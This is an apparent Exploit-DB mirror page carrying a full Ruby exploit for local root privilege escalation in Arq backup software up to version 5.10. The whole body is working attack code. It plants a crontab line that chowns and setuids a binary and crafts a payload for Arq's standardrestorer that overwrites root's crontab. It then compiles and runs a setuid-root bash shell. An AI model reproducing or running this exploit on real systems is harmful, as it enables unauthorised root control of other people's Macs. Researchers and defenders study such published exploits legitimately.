Arq 5.10 – Local Privilege Escalation (1)

  • 作者: Mark Wadham
    日期: 2018-01-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43925/
  • #!/usr/bin/env ruby
    
    #################################################################
    ###### Arq <= 5.10 local root privilege escalation exploit ######
    ###### by m4rkw - https://m4.rkw.io/blog.html######
    #################################################################
    ###### ######
    ###### Usage:######
    ###### ######
    ###### ./arq_5.10.rb# stage 1######
    ###### ######
    ###### (wait for next Arq backup run)######
    ###### ######
    ###### ./arq_5.10.rb# stage 2######
    ###### ######
    ###### if you know the HMAC from a previous run: ######
    ###### ######
    ###### ./arq_5.10.rb stage2 <hmac> ######
    ###### ######
    #################################################################
    ###### USE AT YOUR OWN RISK - THIS WILL OVERWRITE THE ROOT ######
    ###### USER'S CRONTAB! ######
    #################################################################
    
    $binary_target = "/tmp/arq_510_exp"
    
    class Arq510PrivEsc
    def initialize(args)
    @payload_file = ".arq_510_exp_payload"
    @hmac_file = ENV["HOME"] + "/.arq_510_exp_hmac"
    @backup_file = ENV["HOME"] + "/" + @payload_file
    
    @target = shell("ls -1t ~/Library/Arq/Cache.noindex/ |head -n1")
    @bucket_uuid = shell("grep 'writing head blob key' " +
    "~/Library/Logs/arqcommitter/* |tail -n1 |sed 's/^.*key //' |cut -d " +
    "' ' -f4")
    @computer_uuid = shell("cat ~/Library/Arq/config/app_config.plist |grep " +
    "-A1 #{@target} |tail -n1 |xargs |cut -d '>' -f2 |cut -d '<' -f1")
    @backup_endpoint = shell("cat ~/Library/Arq/config/targets/#{@target}.target " +
    "|grep -A1 '>endpointDescription<' |tail -n1 |xargs |cut -d '>' -f2 " +
    "| cut -d '<' -f1")
    @latest_backup_set = latest_backup_set
    
    puts " target: #{@target}"
    puts "bucket uuid: #{@bucket_uuid}"
    puts "computer uuid: #{@computer_uuid}"
    puts "backup endpoint: #{@backup_endpoint}"
    puts "latest backup: #{@latest_backup_set}\n\n"
    
    if args.length >0
    method = args.shift
    if respond_to? method
    send method, *args
    end
    else
    if File.exist? @hmac_file
    method = :stage2
    else
    method = :stage1
    end
    
    send method
    end
    end
    
    def shell(command)
    `#{command}`.chomp
    end
    
    def latest_backup_set
    shell("grep 'writing head blob' ~/Library/Logs/arqcommitter/* |tail -n1 " +
    "|sed 's/.*key //' |cut -d ' ' -f1")
    end
    
    def scan_hmac_list
    packsets_path = shell("find ~/Library/Arq/ -type d -name packsets")
    hmac = {}
    
    shell("strings #{packsets_path}/*-trees.db").split("\n").each do |line|
    if (m = line.match(/[0-9a-fA-F]+/)) and m[0].length == 40
    if !hmac.include? m[0]
    hmac[m[0]] = 1
    end
    end
    end
    
    hmac
    end
    
    def stage1
    print "building HMAC cache... "
    
    hmac = scan_hmac_list
    
    File.open(@hmac_file, "w") do |f|
    f.write(@latest_backup_set + "\n" + hmac.keys.join("\n"))
    end
    
    puts "done - stored at #{@hmac_file}"
    
    print "dropping backup file... "
    
    File.open(@backup_file, "w") do |f|
    f.write("* * * * * /usr/sbin/chown root:wheel #{$binary_target} &&" +
    "/bin/chmod 4755 #{$binary_target}\n")
    end
    
    puts "done"
    puts "wait for the next backup run to complete and then run again"
    end
    
    def stage2(target_hmac=nil)
    if !target_hmac
    if !File.exist? @hmac_file
    raise "hmac list not found."
    end
    
    print "loading HMAC cache... "
    
    data = File.read(@hmac_file).split("\n")
    
    puts "done"
    
    initial_backup_set = data.shift
    
    if initial_backup_set == @latest_backup_set
    puts "no new backup created yet"
    exit 1
    end
    
    hmac = {}
    data.each do |h|
    hmac[h] = 1
    end
    
    hmac_targets = []
    
    print "scanning for HMAC targets... "
    
    scan_hmac_list.keys.each do |h|
    if !hmac[h]
    hmac_targets.push h
    end
    end
    
    puts "done"
    
    if hmac_targets.length == 0
    puts "no HMAC targets, unable to continue."
    exit 0
    end
    
    puts "found #{hmac_targets.length} HMAC targets"
    
    hmac_targets.each do |hmac|
    attempt_exploit(hmac)
    end
    else
    attempt_exploit(target_hmac)
    end
    end
    
    def build_payload(hmac)
    d = "\x01\x00\x00\x00\x00\x00\x00\x00"
    e = "\x00\x00\x00\x00\x03"
    
    @overwrite_path = '/var/at/tabs/root'
    
    plist = "
    <plist version=\"1.0\">
    <dict>
    <key>Endpoint</key>
    <string>#{@backup_endpoint}</string>
    <key>BucketUUID</key>
    <string>#{@bucket_uuid}</string>
    <key>BucketName</key>
    <string>/</string>
    <key>ComputerUUID</key>
    <string>#{@computer_uuid}</string>
    <key>LocalPath</key>
    <string>/</string>
    <key>LocalMountPoint</key>
    <string>/</string>
    <key>StorageType</key>
    <integer>1</integer>
    <key>SkipDuringBackup</key>
    <false></false>
    <key>ExcludeItemsWithTimeMachineExcludeMetadataFlag</key>
    <false></false>
    </dict>
    </plist>"
    
    hex = plist.length.to_s(16).rjust(4,'0')
    plist_size = (hex[0,2].to_i(16).chr + hex[2,2].to_i(16).chr)
    
    pfl = @payload_file.length.chr
    opl = @overwrite_path.length.chr
    bel = @backup_endpoint.length.chr
    
    payload = sprintf(
    (
    "%s\$%s%s%s%s\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
    "\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30" +
    "\x2e\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s" +
    "\x00\x00\x00%s%s%s\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00" +
    "\x00\x00%s\x00\x00\x00%s%s%s\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00" +
    "\x00\x00\x00\x00\x00\x14\x00%s%s%s\x00\x00\x00\x03%s\x0a"
    ).force_encoding('ASCII-8BIT'),
    d, @target,
    d, bel, @backup_endpoint,
    plist_size, plist,
    d, @latest_backup_set,
    d, d, pfl, @payload_file,
    d, hmac,
    d, d, pfl, @payload_file,
    d, opl, @overwrite_path,
    e * 10
    )
    
    return payload
    end
    
    def attempt_exploit(hmac)
    print "trying HMAC: #{hmac} ... "
    
    File.open("/tmp/.arq_exp_510_payload","w") do |f|
    f.write(build_payload(hmac))
    end
    
    output = shell("cat /tmp/.arq_exp_510_payload | " +
    "/Applications/Arq.app/Contents/Resources/standardrestorer 2>/dev/null")
    
    File.delete("/tmp/.arq_exp_510_payload")
    
    if output.include?("Creating directory structure") and !output.include?("failed")
    puts "SUCCESS"
    
    print "compiling shell invoker... "
    
    shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);" +
    "execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{$binary_target};rm -f " +
    "/var/at/tabs/root;/bin/bash\","+ "NULL);return 0; }"
    
    IO.popen("gcc -xc -o #{$binary_target} -", mode="r+") do |io|
    io.write(shellcode)
    io.close
    end
    
    puts "done"
    
    print "waiting for root+s... "
    
    timeout = 61
    i = 0
    stop = false
    
    while i < timeout
    s = File.stat($binary_target)
    
    if s.mode == 0104755 and s.uid == 0
    puts "\n"
    exec($binary_target)
    end
    
    sleep 1
    i += 1
    
    if !stop
    left = 60 - Time.now.strftime("%S").to_i
    left == 1 && stop = true
    
    print "#{left} "
    end
    end
    
    puts "exploit failed"
    exit 0
    else
    puts "FAIL"
    end
    end
    end
    
    Arq510PrivEsc.new(ARGV)